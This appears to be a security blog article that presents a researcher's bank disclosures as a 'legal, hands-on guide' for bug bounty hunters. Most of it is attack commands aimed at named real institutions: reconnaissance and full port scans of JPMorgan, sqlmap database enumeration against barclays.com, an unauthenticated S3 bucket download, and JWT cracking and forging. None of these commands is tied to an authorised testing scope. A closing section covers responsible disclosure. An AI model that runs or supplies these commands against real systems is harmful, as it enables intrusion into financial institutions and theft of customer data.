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Introduction:
In an era where financial institutions guard the world’s most sensitive data, a single ethical hacker has demonstrated that even the largest players can harbor critical vulnerabilities. Vamshi Krishna Upadrasta’s recent responsible disclosures to the London Stock Exchange Group (LSEG), Barclays, and JPMorgan Chase highlight the relentless need for robust security testing. This article dissects the techniques that could have been used to uncover such flaws—providing a legal, hands‑on guide for aspiring bug bounty hunters and security professionals.
Learning Objectives:
- Master reconnaissance techniques tailored for financial targets.
- Identify and exploit common web application and API vulnerabilities.
- Understand the responsible disclosure process and its importance.
You Should Know:
1. Reconnaissance: Laying the Digital Siege
Before any vulnerability can be found, you must understand the target’s attack surface. For institutions like LSEG or Barclays, this means mapping subdomains, exposed services, and employee digital footprints.
Step‑by‑step guide (Linux):
- Subdomain enumeration with
amass:amass enum -d lseg.com -o subdomains.txt
- Gathering email addresses (potential login vectors) using
theHarvester:theHarvester -d barclays.com -b google,linkedin -l 500
- Port scanning to find unexpected services:
nmap -sS -sV -p- -T4 -oA scan_jpmorgan jpmorganchase.com
These commands reveal exposed admin panels, development servers, or misconfigured cloud instances that might otherwise go unnoticed.
2. API Security: Breaking Object‑Level Authorization
Modern financial apps rely heavily on APIs. A common flaw is Broken Object Level Authorization (BOLA) – accessing another user’s data by simply changing an ID.
Step‑by‑step guide (Burp Suite + manual testing):
- Intercept a request containing a user‑specific identifier (e.g.,
/api/account/12345). - Change the ID to that of another user (
12346) and forward the request. - If the response returns the other user’s private data, the API is vulnerable.
- Automate this with Burp Intruder using a payload list of potential IDs.
Linux command to extract IDs from responses:
cat api_responses.json | jq '.user.id' | sort -u > ids.txt
Financial APIs often expose sensitive transaction histories or personal information through such flaws.
- Cloud Misconfigurations: The Open S3 Bucket Threat
Many financial institutions leverage cloud storage. An incorrectly configured Amazon S3 bucket can leak thousands of records.
Step‑by‑step guide (AWS CLI on Linux/Windows):
- Install AWS CLI and configure it (even with empty keys, you can test public buckets).
- Use a tool like `s3scanner` to find buckets related to the target:
python3 s3scanner.py --bucket lseg-backup --dump
- If the bucket is public, you can list its contents:
aws s3 ls s3://lseg-backup --no-sign-request
4. Download sensitive files:
aws s3 cp s3://lseg-backup/financial_reports.zip . --no-sign-request
Always check for `.git` folders, `.env` files, or backup archives that might contain credentials.
4. SQL Injection in Legacy Financial Portals
Older banking portals may still be vulnerable to SQL injection. Even with modern protections, second‑order SQLi can slip through.
Step‑by‑step guide (manual + sqlmap):
- Look for input fields (login, search, transaction comments).
- Insert a classic payload: `’ OR ‘1’=’1` and observe errors.
- For automated exploitation, use `sqlmap` with caution:
sqlmap -u "https://barclays.com/search?q=test" --cookie="SESSION=..." --dbs
- If you find a database, enumerate tables containing user credentials or transaction logs:
sqlmap -u "https://barclays.com/search?q=test" -D finance_db --tables
Always stop after proof‑of‑concept and document the impact carefully.
5. JWT Weaknesses: Forging Access Tokens
JSON Web Tokens (JWTs) are ubiquitous in financial APIs. Misconfigurations like using `none` algorithm or weak secrets can lead to full account takeover.
Step‑by‑step guide (using `jwt_tool` on Linux):
- Capture a JWT from a request (e.g.,
Authorization: Bearer eyJ...). - Check if the server accepts the `none` algorithm:
python3 jwt_tool.py eyJ... -X a
- If weak secret is used, crack it with a dictionary:
python3 jwt_tool.py eyJ... -C -d rockyou.txt
- Once the secret is obtained, modify the payload (e.g., set
"admin": true) and re‑sign. - Use the forged token to access privileged endpoints.
6. Reporting and Responsible Disclosure
Finding a vulnerability is only half the journey; reporting it professionally ensures it gets fixed without causing harm.
Step‑by‑step guide (template and PGP encryption):
- Write a clear summary:
> Vulnerability: IDOR in `/api/v1/transactions` allowing viewing of any user’s transaction history.
> Steps to reproduce: 1. Log in as user A. 2. Change transaction ID in request to user B’s ID. 3. Observe user B’s data.
> Impact: Unauthorised access to sensitive financial records.
- Encrypt the report using the company’s PGP key (often found on their security page):
gpg --import company-key.asc gpg --encrypt --recipient [email protected] report.txt
- Send the encrypted report via email or through their official bug bounty program (HackerOne, Bugcrowd).
What Undercode Say:
- Key Takeaway 1: Even top‑tier financial institutions are not immune to common web vulnerabilities; the attack surface is vast and constantly changing.
- Key Takeaway 2: Responsible disclosure is a critical part of ethical hacking—it builds trust and protects millions of customers.
Analysis: Vamshi’s success underscores that financial cybersecurity is a shared responsibility. While banks invest heavily in perimeter defenses, application‑layer flaws—often introduced by developers—remain the weakest link. The techniques shown here (recon, API testing, cloud misconfigurations) are the very ones used by both ethical hackers and malicious actors. Continuous education, bug bounty programs, and rigorous internal testing are essential to stay ahead. Moreover, the shift toward cloud and microservices increases complexity, making automated scanning and manual verification equally important. The financial sector must adopt a “security by design” mindset, embedding checks into every stage of the software development lifecycle.
Prediction:
As financial services embrace open banking and AI‑driven analytics, the attack surface will expand exponentially. We predict a surge in API‑specific attacks, AI‑generated phishing, and supply‑chain compromises. In response, regulators will mandate stricter security standards (e.g., DORA in Europe), and bug bounty programs will become mandatory. Ethical hackers like Vamshi will be invaluable, but automation and machine learning will also play a pivotal role in real‑time threat detection. The future of financial cybersecurity lies in proactive, intelligence‑driven defense—where every disclosed vulnerability makes the entire ecosystem stronger.
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Reported By: Vamshi Krishna – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
